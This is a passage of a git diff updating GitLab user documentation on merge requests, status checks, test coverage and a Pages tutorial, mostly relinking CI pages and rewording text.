-1. In the **Source branch** drop-down list box, select your branch in your forked repository as the source branch.
-1. In the **Target branch** drop-down list box, select the branch from the upstream repository as the target branch.
- You can set a [default target project](#set-the-default-target-project) to
- change the default target branch (which can be useful when working with a
- forked project).
-1. After entering the credentials, click **Compare branches and continue** to compare your local changes to the upstream repository.
-1. Assign a user to review your changes, and click **Submit merge request**.
+You can add commits to a merge request by adding
+patches as attachments to the email. All attachments with a filename
+ending in `.patch` are considered patches and are processed
+ordered by name.
-When the changes are merged, your changes are added to the upstream repository and
-the branch as per specification. After your work is merged, if you don't intend to
-make any other contributions to the upstream project, you can unlink your
-fork from its upstream project in the **Settings > Advanced Settings** section by
-[removing the forking relationship](../settings/index.md#removing-a-fork-relationship).
+The combined size of the patches can be 2 MB.
-For further details, [see the forking workflow documentation](../repository/forking_workflow.md).
+If the source branch from the subject does not exist, it is
+created from the repository's HEAD or the specified target branch.
+You can specify the target branch by using the
+[`/target_branch` quick action](../quick_actions.md). If the source
+branch already exists, the patches are applied on top of it.
## Set the default target project
-Merge requests have a source and a target project which are the same, unless
+Merge requests have a source and a target project that are the same, unless
forking is involved. Creating a fork of the project can cause either of these
scenarios when you create a new merge request:
@@ -197,57 +163,11 @@ scenarios when you create a new merge request:
option).
- You target your own fork.
-If you want to have merge requests from a fork by default target your own fork
-(instead of the upstream project), you can change the default by:
+To have merge requests from a fork by default target your own fork
+(instead of the upstream project), you can change the default.
-1. In your project, go to **Settings > General > Merge requests**.
+1. On the top bar, select **Menu > Project**.
+1. On the left menu, select **Settings > General > Merge requests**.
1. In the **Target project** section, select the option you want to use for
your default target project.
1. Select **Save changes**.
-
-## New merge request by email **(FREE SELF)**
-
-_This feature needs [incoming email](../../../administration/incoming_email.md)
-to be configured by a GitLab administrator to be available._ It isn't
-available in GitLab.com.
-
-You can create a new merge request by sending an email to a user-specific email
-address. The address can be obtained on the merge requests page by clicking on
-a **Email a new merge request to this project** button. The subject is
-used as the source branch name for the new merge request and the target branch
-is the default branch for the project. The message body (if not empty)
-is used as the merge request description. You need
-["Reply by email"](../../../administration/reply_by_email.md) enabled to use
-this feature. If it's not enabled to your instance, you may ask your GitLab
-administrator to do so.
-
-This is a private email address, generated just for you. **Keep it to yourself**
-as anyone who has it can create issues or merge requests as if they were you.
-You can add this address to your contact list for easy access.
-
-![Create new merge requests by email](img/create_from_email.png)
-
-_In GitLab 11.7, we updated the format of the generated email address.
-However the older format is still supported, allowing existing aliases
-or contacts to continue working._
-
-### Adding patches when creating a merge request via e-mail
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22723) in GitLab 11.5.
-
-You can add commits to the merge request being created by adding
-patches as attachments to the email. All attachments with a filename
-ending in `.patch` are considered patches and they are processed
-ordered by name.
-
-The combined size of the patches can be 2MB.
-
-If the source branch from the subject does not exist, it is
-created from the repository's HEAD or the specified target branch to
-apply the patches. The target branch can be specified using the
-[`/target_branch` quick action](../quick_actions.md). If the source
-branch already exists, the patches are applied on top of it.
-
-## Reviewing and managing merge requests
-
-Once you have submitted a merge request, it can be [reviewed and managed](reviews/index.md) through GitLab.
diff --git a/doc/user/project/merge_requests/drafts.md b/doc/user/project/merge_requests/drafts.md
index 57850ad7304..a91679ffd63 100644
--- a/doc/user/project/merge_requests/drafts.md
+++ b/doc/user/project/merge_requests/drafts.md
@@ -79,9 +79,9 @@ draft merge requests:
## Pipelines for drafts
-When the [pipelines for merged results](../../../ci/merge_request_pipelines/pipelines_for_merged_results/index.md)
+When the [pipelines for merged results](../../../ci/pipelines/pipelines_for_merged_results.md)
feature is enabled, draft merge requests run
-[merge request pipelines](../../../ci/merge_request_pipelines/index.md) only.
+[merge request pipelines](../../../ci/pipelines/merge_request_pipelines.md) only.
To run pipelines for merged results, you must
[mark the merge request as ready](#mark-merge-requests-as-ready).
diff --git a/doc/user/project/merge_requests/fail_fast_testing.md b/doc/user/project/merge_requests/fail_fast_testing.md
index 68a63aebb90..15ab2d9c8e2 100644
--- a/doc/user/project/merge_requests/fail_fast_testing.md
+++ b/doc/user/project/merge_requests/fail_fast_testing.md
@@ -19,7 +19,7 @@ that it believes to be relevant to the input files.
`tff` is designed for Ruby on Rails projects, so the `Verify/FailFast` template is
configured to run when changes to Ruby files are detected. By default, it runs in
-the [`.pre` stage](../../../ci/yaml/README.md#pre-and-post) of a GitLab CI/CD pipeline,
+the [`.pre` stage](../../../ci/yaml/index.md#pre-and-post) of a GitLab CI/CD pipeline,
before all other stages.
## Example use case
@@ -42,8 +42,8 @@ This template requires:
- A project built in Rails that uses RSpec for testing.
- CI/CD configured to:
- Use a Docker image with Ruby available.
- - Use [Pipelines for merge requests](../../../ci/merge_request_pipelines/index.md#configuring-pipelines-for-merge-requests)
-- [Pipelines for Merged Results](../../../ci/merge_request_pipelines/pipelines_for_merged_results/index.md#enable-pipelines-for-merged-results)
+ - Use [Pipelines for merge requests](../../../ci/pipelines/merge_request_pipelines.md#configure-pipelines-for-merge-requests)
+- [Pipelines for Merged Results](../../../ci/pipelines/pipelines_for_merged_results.md#enable-pipelines-for-merged-results)
enabled in the project settings.
- A Docker image with Ruby available. The template uses `image: ruby:2.6` by default, but you [can override](../../../ci/yaml/includes.md#overriding-external-template-values) this.
@@ -62,7 +62,7 @@ rspec-complete:
- bundle exec rspec
```
-To run the most relevant specs first instead of the whole suite, [`include`](../../../ci/yaml/README.md#include)
+To run the most relevant specs first instead of the whole suite, [`include`](../../../ci/yaml/index.md#include)
the template by adding the following to your CI/CD configuration:
```yaml
diff --git a/doc/user/project/merge_requests/img/add_previously_merged_commits_button_v14_1.png b/doc/user/project/merge_requests/img/add_previously_merged_commits_button_v14_1.png
new file mode 100644
index 00000000000..e60e869f854
--- /dev/null
+++ b/doc/user/project/merge_requests/img/add_previously_merged_commits_button_v14_1.png
Binary files differ
diff --git a/doc/user/project/merge_requests/img/code_quality_mr_diff_report_v14.png b/doc/user/project/merge_requests/img/code_quality_mr_diff_report_v14.png
index a942420d65e..da7d4115bd9 100644
--- a/doc/user/project/merge_requests/img/code_quality_mr_diff_report_v14.png
+++ b/doc/user/project/merge_requests/img/code_quality_mr_diff_report_v14.png
Binary files differ
diff --git a/doc/user/project/merge_requests/img/create_from_email.png b/doc/user/project/merge_requests/img/create_from_email.png
deleted file mode 100644
index 14eef473e27..00000000000
--- a/doc/user/project/merge_requests/img/create_from_email.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/merge_requests/img/create_merge_request_button_v12_6.png b/doc/user/project/merge_requests/img/create_merge_request_button_v12_6.png
deleted file mode 100644
index bcbee10e1b7..00000000000
--- a/doc/user/project/merge_requests/img/create_merge_request_button_v12_6.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/merge_requests/img/new_merge_request_page_v12_6.png b/doc/user/project/merge_requests/img/new_merge_request_page_v12_6.png
deleted file mode 100644
index c0f2ba261cb..00000000000
--- a/doc/user/project/merge_requests/img/new_merge_request_page_v12_6.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/merge_requests/img/previously_merged_commits_v14_1.png b/doc/user/project/merge_requests/img/previously_merged_commits_v14_1.png
new file mode 100644
index 00000000000..4f49fad10ad
--- /dev/null
+++ b/doc/user/project/merge_requests/img/previously_merged_commits_v14_1.png
Binary files differ
diff --git a/doc/user/project/merge_requests/img/status_checks_widget_passed_v14_0.png b/doc/user/project/merge_requests/img/status_checks_widget_passed_v14_0.png
new file mode 100644
index 00000000000..de61ca8b553
--- /dev/null
+++ b/doc/user/project/merge_requests/img/status_checks_widget_passed_v14_0.png
Binary files differ
diff --git a/doc/user/project/merge_requests/img/status_checks_widget_pending_v14_0.png b/doc/user/project/merge_requests/img/status_checks_widget_pending_v14_0.png
new file mode 100644
index 00000000000..c4e606bd2f4
--- /dev/null
+++ b/doc/user/project/merge_requests/img/status_checks_widget_pending_v14_0.png
Binary files differ
diff --git a/doc/user/project/merge_requests/index.md b/doc/user/project/merge_requests/index.md
index b5c51c42ae9..fa90cf524ec 100644
--- a/doc/user/project/merge_requests/index.md
+++ b/doc/user/project/merge_requests/index.md
@@ -27,13 +27,13 @@ important parts of the merge request:
![Merge request tab positions](img/merge_request_tab_position_v13_11.png)
- **Overview**: Contains the description, notifications from pipelines, and a
- discussion area for [comment threads](../../discussions/index.md#resolvable-comments-and-threads)
+ discussion area for [comment threads](../../discussions/index.md#resolve-a-thread))
and [code suggestions](reviews/suggestions.md). The right sidebar provides fields
to add assignees, reviewers, labels, and a milestone to your work, and the
[merge request widgets area](widgets.md) reports results from pipelines and tests.
- **Commits**: Contains a list of commits added to this merge request. For more
information, read [Commits tab in merge requests](commits.md).
-- **Pipelines**: If configured, contains a list of recent [GitLab CI/CD](../../../ci/README.md)
+- **Pipelines**: If configured, contains a list of recent [GitLab CI/CD](../../../ci/index.md)
pipelines and their status.
- **Changes**: Contains the diffs of files changed by this merge request. You can
[configure the display](changes.md).
@@ -119,7 +119,7 @@ For a software developer working in a team:
1. Pushes a commit with their final review.
1. [Approves the merge request](approvals/index.md).
1. Sets it to [merge when pipeline succeeds](merge_when_pipeline_succeeds.md).
-1. Your changes get deployed to production with [manual actions](../../../ci/yaml/README.md#whenmanual) for GitLab CI/CD.
+1. Your changes get deployed to production with [manual actions](../../../ci/yaml/index.md#whenmanual) for GitLab CI/CD.
1. Your implementations were successfully shipped to your customer.
For a web developer writing a webpage for your company's website:
diff --git a/doc/user/project/merge_requests/load_performance_testing.md b/doc/user/project/merge_requests/load_performance_testing.md
index d1b697add08..7ea785c00ea 100644
--- a/doc/user/project/merge_requests/load_performance_testing.md
+++ b/doc/user/project/merge_requests/load_performance_testing.md
@@ -10,7 +10,7 @@ type: reference, howto
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10683) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2.
With Load Performance Testing, you can test the impact of any pending code changes
-to your application's backend in [GitLab CI/CD](../../../ci/README.md).
+to your application's backend in [GitLab CI/CD](../../../ci/index.md).
GitLab uses [k6](https://k6.io/), a free and open source
tool, for measuring the system performance of applications under
@@ -28,7 +28,7 @@ GET calls to a popular API endpoint in your application to see how it performs.
## How Load Performance Testing works
First, define a job in your `.gitlab-ci.yml` file that generates the
-[Load Performance report artifact](../../../ci/yaml/README.md#artifactsreportsload_performance).
+[Load Performance report artifact](../../../ci/yaml/index.md#artifactsreportsload_performance).
GitLab checks this report, compares key load performance metrics
between the source and target branches, and then shows the information in a merge request widget:
@@ -93,7 +93,7 @@ template that is included with GitLab.
NOTE:
For large scale k6 tests you need to ensure the GitLab Runner instance performing the actual
test is able to handle running the test. Refer to [k6's guidance](https://k6.io/docs/testing-guides/running-large-tests#hardware-considerations)
-for spec details. The [default shared GitLab.com runners](../../../ci/runners/README.md#linux-shared-runners)
+for spec details. The [default shared GitLab.com runners](../../../ci/runners/build_cloud/linux_build_cloud.md)
likely have insufficient specs to handle most large k6 tests.
This template runs the
@@ -140,7 +140,7 @@ For example, you can override the duration of the test with a CLI option:
GitLab only displays the key performance metrics in the MR widget if k6's results are saved
via [summary export](https://k6.io/docs/results-visualization/json#summary-export)
-as a [Load Performance report artifact](../../../ci/yaml/README.md#artifactsreportsload_performance).
+as a [Load Performance report artifact](../../../ci/yaml/index.md#artifactsreportsload_performance).
The latest Load Performance artifact available is always used, using the
summary values from the test.
diff --git a/doc/user/project/merge_requests/merge_request_dependencies.md b/doc/user/project/merge_requests/merge_request_dependencies.md
index 21282a55ff2..aace1f58c62 100644
--- a/doc/user/project/merge_requests/merge_request_dependencies.md
+++ b/doc/user/project/merge_requests/merge_request_dependencies.md
@@ -27,7 +27,7 @@ the other way around.
imports the library.
- Prevent a documentation-only merge request from being merged before the merge request
implementing the feature to be documented.
-- Require an merge request updating a permissions matrix to be merged before merging an
+- Require a merge request updating a permissions matrix to be merged before merging a
merge request from someone who hasn't yet been granted permissions.
It is common for a single logical change to span several merge requests, spread
diff --git a/doc/user/project/merge_requests/merge_when_pipeline_succeeds.md b/doc/user/project/merge_requests/merge_when_pipeline_succeeds.md
index 6c1e33a9ace..d7c9c0f73ee 100644
--- a/doc/user/project/merge_requests/merge_when_pipeline_succeeds.md
+++ b/doc/user/project/merge_requests/merge_when_pipeline_succeeds.md
@@ -21,7 +21,7 @@ request is updated to show the impending merge. If you can't wait
for the pipeline to succeed, you can choose **Merge immediately**
in the dropdown menu on the right of the main button.
-The author of the merge request and project members with developer permissions can
+The author of the merge request and project members with the Developer role can
cancel the automatic merge at any time before the pipeline finishes.
![Status](img/merge_when_pipeline_succeeds_status.png)
@@ -67,8 +67,8 @@ You should be careful to configure CI/CD so that pipelines run for every merge r
### Limitations
When this setting is enabled, a merge request is prevented from being merged if there
-is no pipeline. This may conflict with some use cases where [`only/except`](../../../ci/yaml/README.md#only--except)
-or [`rules`](../../../ci/yaml/README.md#rules) are used and they don't generate any pipelines.
+is no pipeline. This may conflict with some use cases where [`only/except`](../../../ci/yaml/index.md#only--except)
+or [`rules`](../../../ci/yaml/index.md#rules) are used and they don't generate any pipelines.
You should ensure that [there is always a pipeline](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/54226)
and that it's successful.
@@ -101,7 +101,7 @@ for details on avoiding two pipelines for a single merge request.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211482) in GitLab 13.1.
-When the **Pipelines must succeed** checkbox is checked, [skipped pipelines](../../../ci/yaml/README.md#skip-pipeline) prevent
+When the **Pipelines must succeed** checkbox is checked, [skipped pipelines](../../../ci/yaml/index.md#skip-pipeline) prevent
merge requests from being merged. To change this behavior:
1. Navigate to your project's **Settings > General** page.
diff --git a/doc/user/project/merge_requests/reviews/index.md b/doc/user/project/merge_requests/reviews/index.md
index 317202e9303..16267e13fd5 100644
--- a/doc/user/project/merge_requests/reviews/index.md
+++ b/doc/user/project/merge_requests/reviews/index.md
@@ -100,7 +100,7 @@ When you submit your review, GitLab:
### Resolving/Unresolving threads
-Review comments can also resolve or unresolve [resolvable threads](../../../discussions/index.md#resolvable-comments-and-threads).
+Review comments can also resolve or unresolve [resolvable threads](../../../discussions/index.md#resolve-a-thread)).
When replying to a comment, a checkbox is displayed to resolve or unresolve
the thread after publication.
diff --git a/doc/user/project/merge_requests/reviews/suggestions.md b/doc/user/project/merge_requests/reviews/suggestions.md
index 9409cc569a6..8ee068531c8 100644
--- a/doc/user/project/merge_requests/reviews/suggestions.md
+++ b/doc/user/project/merge_requests/reviews/suggestions.md
@@ -14,7 +14,7 @@ type: index, reference
As a reviewer, you're able to suggest code changes with a Markdown syntax in merge request
diff threads. Then, the merge request author (or other users with appropriate
[permission](../../../permissions.md)) is able to apply these suggestions with a click,
-which generates a commit in the merge request authored by the user that applied them.
+which generates a commit in the merge request authored by the user that suggested the changes.
1. Choose a line of code to be changed, add a new comment, then select
the **Insert suggestion** icon in the toolbar:
@@ -42,7 +42,7 @@ which generates a commit in the merge request authored by the user that applied
After the author applies a suggestion, it's marked with the **Applied** label,
the thread is automatically resolved, and GitLab creates a new commit
and pushes the suggested change directly into the codebase in the merge request's
-branch. [Developer permission](../../../permissions.md) is required to do so.
+branch. The [Developer role](../../../permissions.md) is required to do so.
## Multi-line suggestions
diff --git a/doc/user/project/merge_requests/status_checks.md b/doc/user/project/merge_requests/status_checks.md
index 775820870f3..70e2d718406 100644
--- a/doc/user/project/merge_requests/status_checks.md
+++ b/doc/user/project/merge_requests/status_checks.md
@@ -8,11 +8,8 @@ disqus_identifier: 'https://docs.gitlab.com/ee/user/project/merge_requests/statu
# External Status Checks **(ULTIMATE)**
-> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3869) in GitLab 14.0.
-> - It's [deployed behind a feature flag](../../feature_flags.md), disabled by default.
-> - It's disabled on GitLab.com.
-> - It's not recommended for production use.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-status-checks). **(ULTIMATE SELF)**
+> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3869) in GitLab 14.0, disabled behind the `:ff_external_status_checks` feature flag.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/320783) in GitLab 14.1.
WARNING:
This feature might not be available to you. Check the **version history** note above for details.
@@ -113,6 +110,31 @@ To complete the deletion of the status check you must select the
**Remove status check** button. This **permanently** deletes
the status check and it **will not** be recoverable.
+## Status checks widget
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/327634) in GitLab 14.1.
+
+The status checks widget displays in merge requests and shows the status of external
+status checks:
+
+![Status checks widget](img/status_checks_widget_passed_v14_0.png)
+
+An organization might have a policy that does not allow merging merge requests if
+external status checks do not pass. However, the details in the widget are for informational
+purposes only. GitLab does not prevent merging of merge requests that fail status checks.
+
+While GitLab waits for a response from the external status check, the widget shows
+the status checks as `pending`:
+
+![Status checks widget pending](img/status_checks_widget_pending_v14_0.png)
+
+After GitLab [receives a response](../../../api/status_checks.md#set-approval-status-of-an-external-status-check)
+from the external status check, the widget updates accordingly.
+
+NOTE:
+GitLab cannot guarantee that the external status checks are properly processed by
+the related external service.
+
## Troubleshooting
### Duplicate value errors
@@ -149,30 +171,18 @@ An unexpected response was received from the branches retrieval API.
As suggested, you should close the form and reopen again or refresh the page. This error should be temporary, although
if it persists please check the [GitLab status page](https://status.gitlab.com/) to see if there is a wider outage.
-## Enable or disable status checks **(ULTIMATE SELF)**
-
-Status checks are under development and not ready for production use. It is
-deployed behind a feature flag that is **disabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can enable it.
+### Failed to load status checks
-To enable it:
-
-```ruby
-# For the instance
-Feature.enable(:ff_compliance_approval_gates)
-# For a single project
-Feature.enable(:ff_compliance_approval_gates, Project.find(<project id>))
+```plaintext
+Failed to load status checks
```
-To disable it:
+An unexpected response was received from the external status checks API.
+You should:
-```ruby
-# For the instance
-Feature.disable(:ff_compliance_approval_gates)
-# For a single project
-Feature.disable(:ff_compliance_approval_gates, Project.find(<project id>)
-```
+- Refresh the page in case this error is temporary.
+- Check the [GitLab status page](https://status.gitlab.com/) if the problem persists,
+ to see if there is a wider outage.
## Related links
diff --git a/doc/user/project/merge_requests/test_coverage_visualization.md b/doc/user/project/merge_requests/test_coverage_visualization.md
index e044d50d246..ce8bfa2d054 100644
--- a/doc/user/project/merge_requests/test_coverage_visualization.md
+++ b/doc/user/project/merge_requests/test_coverage_visualization.md
@@ -10,7 +10,7 @@ type: reference, howto
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3708) in GitLab 12.9.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/249811) in GitLab 13.5.
-With the help of [GitLab CI/CD](../../../ci/README.md), you can collect the test
+With the help of [GitLab CI/CD](../../../ci/index.md), you can collect the test
coverage information of your favorite testing or coverage-analysis tool, and visualize
this information inside the file diff view of your merge requests (MRs). This will allow you
to see which lines are covered by tests, and which lines still require coverage, before the
@@ -21,14 +21,14 @@ MR is merged.
## How test coverage visualization works
Collecting the coverage information is done via GitLab CI/CD's
-[artifacts reports feature](../../../ci/yaml/README.md#artifactsreports).
+[artifacts reports feature](../../../ci/yaml/index.md#artifactsreports).
You can specify one or more coverage reports to collect, including wildcard paths.
GitLab then takes the coverage information in all the files and combines it
together.
For the coverage analysis to work, you have to provide a properly formatted
[Cobertura XML](https://cobertura.github.io/cobertura/) report to
-[`artifacts:reports:cobertura`](../../../ci/yaml/README.md#artifactsreportscobertura).
+[`artifacts:reports:cobertura`](../../../ci/yaml/index.md#artifactsreportscobertura).
This format was originally developed for Java, but most coverage analysis frameworks
for other languages have plugins to add support for it, like:
@@ -129,7 +129,7 @@ The `source` is ignored if the path does not follow this pattern. The parser ass
### JavaScript example
-The following [`gitlab-ci.yml`](../../../ci/yaml/README.md) example uses [Mocha](https://mochajs.org/)
+The following [`gitlab-ci.yml`](../../../ci/yaml/index.md) example uses [Mocha](https://mochajs.org/)
JavaScript testing and [nyc](https://github.com/istanbuljs/nyc) coverage-tooling to
generate the coverage artifact:
@@ -147,7 +147,7 @@ test:
#### Maven example
-The following [`gitlab-ci.yml`](../../../ci/yaml/README.md) example for Java or Kotlin uses [Maven](https://maven.apache.org/)
+The following [`gitlab-ci.yml`](../../../ci/yaml/index.md) example for Java or Kotlin uses [Maven](https://maven.apache.org/)
to build the project and [JaCoCo](https://www.eclemma.org/jacoco/) coverage-tooling to
generate the coverage artifact.
You can check the [Docker image configuration and scripts](https://gitlab.com/haynes/jacoco2cobertura) if you want to build your own image.
@@ -185,7 +185,7 @@ coverage-jdk11:
#### Gradle example
-The following [`gitlab-ci.yml`](../../../ci/yaml/README.md) example for Java or Kotlin uses [Gradle](https://gradle.org/)
+The following [`gitlab-ci.yml`](../../../ci/yaml/index.md) example for Java or Kotlin uses [Gradle](https://gradle.org/)
to build the project and [JaCoCo](https://www.eclemma.org/jacoco/) coverage-tooling to
generate the coverage artifact.
You can check the [Docker image configuration and scripts](https://gitlab.com/haynes/jacoco2cobertura) if you want to build your own image.
@@ -223,7 +223,7 @@ coverage-jdk11:
### Python example
-The following [`gitlab-ci.yml`](../../../ci/yaml/README.md) example for Python uses [pytest-cov](https://pytest-cov.readthedocs.io/) to collect test coverage data and [coverage.py](https://coverage.readthedocs.io/) to convert the report to use full relative paths.
+The following [`gitlab-ci.yml`](../../../ci/yaml/index.md) example for Python uses [pytest-cov](https://pytest-cov.readthedocs.io/) to collect test coverage data and [coverage.py](https://coverage.readthedocs.io/) to convert the report to use full relative paths.
The information isn't displayed without the conversion.
This example assumes that the code for your package is in `src/` and your tests are in `tests.py`:
@@ -243,7 +243,7 @@ run tests:
### C/C++ example
-The following [`gitlab-ci.yml`](../../../ci/yaml/README.md) example for C/C++ with
+The following [`gitlab-ci.yml`](../../../ci/yaml/index.md) example for C/C++ with
`gcc` or `g++` as the compiler uses [`gcovr`](https://gcovr.com/en/stable/) to generate the coverage
output file in Cobertura XML format.
diff --git a/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md b/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md
index 55e122dec76..0a9a2a37bfe 100644
--- a/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md
+++ b/doc/user/project/merge_requests/testing_and_reports_in_merge_requests.md
@@ -17,13 +17,13 @@ or link to useful information directly from merge requests:
| [Browser Performance Testing](browser_performance_testing.md) **(PREMIUM)** | Quickly determine the browser performance impact of pending code changes. |
| [Load Performance Testing](load_performance_testing.md) **(PREMIUM)** | Quickly determine the server performance impact of pending code changes. |
| [Code Quality](code_quality.md) | Analyze your source code quality using the [Code Climate](https://codeclimate.com/) analyzer and show the Code Climate report right in the merge request widget area. |
-| [Display arbitrary job artifacts](../../../ci/yaml/README.md#artifactsexpose_as) | Configure CI pipelines with the `artifacts:expose_as` parameter to directly link to selected [artifacts](../../../ci/pipelines/job_artifacts.md) in merge requests. |
-| [GitLab CI/CD](../../../ci/README.md) | Build, test, and deploy your code in a per-branch basis with built-in CI/CD. |
+| [Display arbitrary job artifacts](../../../ci/yaml/index.md#artifactsexpose_as) | Configure CI pipelines with the `artifacts:expose_as` parameter to directly link to selected [artifacts](../../../ci/pipelines/job_artifacts.md) in merge requests. |
+| [GitLab CI/CD](../../../ci/index.md) | Build, test, and deploy your code in a per-branch basis with built-in CI/CD. |
| [Unit test reports](../../../ci/unit_test_reports.md) | Configure your CI jobs to use Unit test reports, and let GitLab display a report on the merge request so that it's easier and faster to identify the failure without having to check the entire job log. |
| [License Compliance](../../compliance/license_compliance/index.md) **(ULTIMATE)** | Manage the licenses of your dependencies. |
| [Metrics Reports](../../../ci/metrics_reports.md) **(PREMIUM)** | Display the Metrics Report on the merge request so that it's fast and easy to identify changes to important metrics. |
-| [Multi-Project pipelines](../../../ci/multi_project_pipelines.md) **(PREMIUM)** | When you set up GitLab CI/CD across multiple projects, you can visualize the entire pipeline, including all cross-project interdependencies. |
-| [Pipelines for merge requests](../../../ci/merge_request_pipelines/index.md) | Customize a specific pipeline structure for merge requests in order to speed the cycle up by running only important jobs. |
+| [Multi-Project pipelines](../../../ci/pipelines/multi_project_pipelines.md) **(PREMIUM)** | When you set up GitLab CI/CD across multiple projects, you can visualize the entire pipeline, including all cross-project interdependencies. |
+| [Pipelines for merge requests](../../../ci/pipelines/merge_request_pipelines.md) | Customize a specific pipeline structure for merge requests in order to speed the cycle up by running only important jobs. |
| [Pipeline Graphs](../../../ci/pipelines/index.md#visualize-pipelines) | View the status of pipelines within the merge request, including the deployment process. |
| [Test Coverage visualization](test_coverage_visualization.md) | See test coverage results for merge requests, within the file diff. |
diff --git a/doc/user/project/merge_requests/widgets.md b/doc/user/project/merge_requests/widgets.md
index 92b2a8f24ef..b0464f3f972 100644
--- a/doc/user/project/merge_requests/widgets.md
+++ b/doc/user/project/merge_requests/widgets.md
@@ -14,7 +14,7 @@ and the services you configure for your project.
## Pipeline information
-If you've set up [GitLab CI/CD](../../../ci/README.md) in your project,
+If you've set up [GitLab CI/CD](../../../ci/index.md) in your project,
a [merge request](index.md) displays pipeline information in the widgets area
of the **Overview** tab:
@@ -62,3 +62,9 @@ merge request widget takes you directly to the pages changed, making it easier a
faster to preview proposed modifications.
[Read more about Review Apps](../../../ci/review_apps/index.md).
+
+## External status checks **(ULTIMATE)**
+
+If you have configured [external status checks](status_checks.md) you can
+see the status of these checks in merge requests
+[in a specific widget](status_checks.md#status-checks-widget).
diff --git a/doc/user/project/merge_requests/work_in_progress_merge_requests.md b/doc/user/project/merge_requests/work_in_progress_merge_requests.md
deleted file mode 100644
index 8b663b8edf8..00000000000
--- a/doc/user/project/merge_requests/work_in_progress_merge_requests.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'drafts.md'
-remove_date: '2021-05-19'
----
-
-This document was moved to [another location](drafts.md).
-
-<!-- This redirect file can be deleted after <2021-05-19>. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/new_ci_build_permissions_model.md b/doc/user/project/new_ci_build_permissions_model.md
deleted file mode 100644
index 55fde63dd47..00000000000
--- a/doc/user/project/new_ci_build_permissions_model.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: '../../ci/README.md'
-remove_date: '2021-06-01'
----
-
-This document is deprecated. See the latest [GitLab CI/CD documentation](../../ci/README.md).
-
-<!-- This redirect file can be deleted after <2021-06-01>. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/pages/getting_started/pages_from_scratch.md b/doc/user/project/pages/getting_started/pages_from_scratch.md
index 9f80e2e7613..eb5f3a1bbf0 100644
--- a/doc/user/project/pages/getting_started/pages_from_scratch.md
+++ b/doc/user/project/pages/getting_started/pages_from_scratch.md
@@ -4,40 +4,54 @@ group: Release
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Create a GitLab Pages website from scratch **(FREE)**
+# Tutorial: Create a GitLab Pages website from scratch **(FREE)**
-This tutorial shows you how to create a Pages site from scratch. You start with
-a blank project and create your own CI file, which gives instruction to
-a [runner](https://docs.gitlab.com/runner/). When your CI/CD
+This tutorial shows you how to create a Pages site from scratch using
+the [Jekyll](https://jekyllrb.com/) Static Site Generator (SSG). You start with
+a blank project and create your own CI/CD configuration file, which gives
+instructions to a [runner](https://docs.gitlab.com/runner/). When your CI/CD
[pipeline](../../../../ci/pipelines/index.md) runs, the Pages site is created.
-This example uses the [Jekyll](https://jekyllrb.com/) Static Site Generator (SSG).
-Other SSGs follow similar steps. You do not need to be familiar with Jekyll or SSGs
+This example uses Jekyll, but other SSGs follow similar steps.
+You do not need to be familiar with Jekyll or SSGs
to complete this tutorial.
+To create a GitLab Pages website:
+
+- [Step 1: Create the project files](#create-the-project-files)
+- [Step 2: Choose a Docker image](#choose-a-docker-image)
+- [Step 3: Install Jekyll](#install-jekyll)
+- [Step 4: Specify the `public` directory for output](#specify-the-public-directory-for-output)
+- [Step 5: Specify the `public` directory for artifacts](#specify-the-public-directory-for-artifacts)
+- [Step 6: Deploy and view your website](#deploy-and-view-your-website)
+
## Prerequisites
-To follow along with this example, start with a blank project in GitLab.
-Create three files in the root (top-level) directory.
+You must have a [blank project](../../working_with_projects.md#blank-projects) in GitLab.
-- `.gitlab-ci.yml` A YAML file that contains the commands you want to run.
- For now, leave the file's contents blank.
+## Create the project files
-- `index.html` An HTML file you can populate with whatever HTML content you'd like,
- for example:
+Create three files in the root (top-level) directory:
- ```html
- <html>
- <head>
- <title>Home</title>
- </head>
- <body>
- <h1>Hello World!</h1>
- </body>
- </html>
- ```
+- `.gitlab-ci.yml`: A YAML file that contains the commands you want to run.
+ For now, leave the file's contents blank.
+
+- `index.html`: An HTML file you can populate with whatever HTML content
+ you'd like, for example:
+
+ ```html
+ <html>
+ <head>
+ <title>Home</title>
+ </head>
+ <body>
+ <h1>Hello World!</h1>
+ </body>
+ </html>
+ ```
+
+- [`Gemfile`](https://bundler.io/gemfile.html): A file that describes dependencies for Ruby programs.
-- [`Gemfile`](https://bundler.io/gemfile.html) A file that describes dependencies for Ruby programs.
Populate it with this content:
```ruby
@@ -53,7 +67,7 @@ to run scripts and deploy the site.
This specific Ruby image is maintained on [DockerHub](https://hub.docker.com/_/ruby).
-Edit your `.gitlab-ci.yml` and add this text as the first line.
+Edit your `.gitlab-ci.yml` file and add this text as the first line:
```yaml
image: ruby:2.7
@@ -65,13 +79,15 @@ image that contains NodeJS as part of its file system. For example, for a
## Install Jekyll
-To run [Jekyll](https://jekyllrb.com/) locally, you would open your terminal and:
